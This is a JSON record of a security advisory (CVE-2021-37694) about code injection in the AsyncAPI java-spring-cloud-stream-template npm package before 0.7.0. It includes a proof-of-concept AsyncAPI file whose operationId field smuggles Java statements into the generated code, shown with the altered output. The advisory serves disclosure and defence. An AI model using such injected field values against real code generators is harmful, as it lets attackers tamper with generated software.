{"id":"GHSA-xj6r-2jpm-qvxp","revision":"51119e34e1114f4ab893ae69d324583b","records":[{"revision":"51119e34e1114f4ab893ae69d324583b","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-xj6r-2jpm-qvxp","aliases":["CVE-2021-37694"],"title":"Code injection issue for java-spring-cloud-stream-template","description":"The following was initially reported by @jonaslagoni:\n\nGiven the following command:\n`ag ./dummy.json @asyncapi/java-spring-cloud-stream-template --force-write --output ./output`\n\nWith the following AsyncAPI document:\n```json\n{\n  \"asyncapi\": \"2.0.0\",\n  \"info\": {\n    \"title\": \"Streetlight\",\n    \"version\": \"1.0.0\"\n  },\n  \"defaultContentType\": \"json\",\n  \"channels\": {\n    \"security/audit/channel\": {\n      \"description\": \"Channel for the turn on command which should turn on the streetlight\",\n      \"parameters\": {\n        \"streetlight_id\": {\n          \"description\": \"The ID of the streetlight\",\n          \"schema\": {\n            \"type\": \"string\"\n          }\n        }\n      },\n      \"publish\": {\n        \"operationId\": \"test() { System.out.println(\\\"injected\\\"); return test(0); }\\n public Consumer<CustomClass> someothername\",\n        \"message\": {\n          \"name\": \"TurnonCommand\",\n          \"payload\": {\n            \"$ref\": \"#/components/schemas/CustomClass\"\n          }\n        }\n      }\n    }\n  },\n  \"components\": {\n    \"schemas\" : {\n      \"CustomClass\": {\n        \"type\": \"object\",\n        \"properties\": {\n          \"prop\": { \n              \"type\": \"string\"\n          }\n        }\n      }\n    }\n  }\n}\n```\n\nWhich changes the following output: \n\n```java\n...\n  @Bean\n  public Consumer<CustomClass> test() {\n    // Add business logic here.\n    return null;\n  }\n...\n```\nTo\n```java\n...\n  @Bean\n  public Consumer<CustomClass> test() { System.out.println(\"injected\"); return someothername(); }\n  public Consumer<CustomClass> someothername() {\n    // Add business logic here.\n    return null;\n  }\n...\n```","state":0,"publishedAt":"2021-08-25T14:45:52+00:00","modifiedAt":"2026-07-08T06:28:21.0637849+00:00","affected":[{"ecosystem":"npm","name":"@asyncapi/java-spring-cloud-stream-template","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.7.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/asyncapi/java-spring-cloud-stream-template/security/advisories/GHSA-xj6r-2jpm-qvxp","https://nvd.nist.gov/vuln/detail/CVE-2021-37694","https://github.com/asyncapi/java-spring-cloud-stream-template"],"sourceUrl":"https://github.com/advisories/GHSA-xj6r-2jpm-qvxp","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-xj6r-2jpm-qvxp","identifiers":["GHSA-xj6r-2jpm-qvxp","CVE-2021-37694"]},"retained":false,"historicalAffected":[]}],"coverage":[]}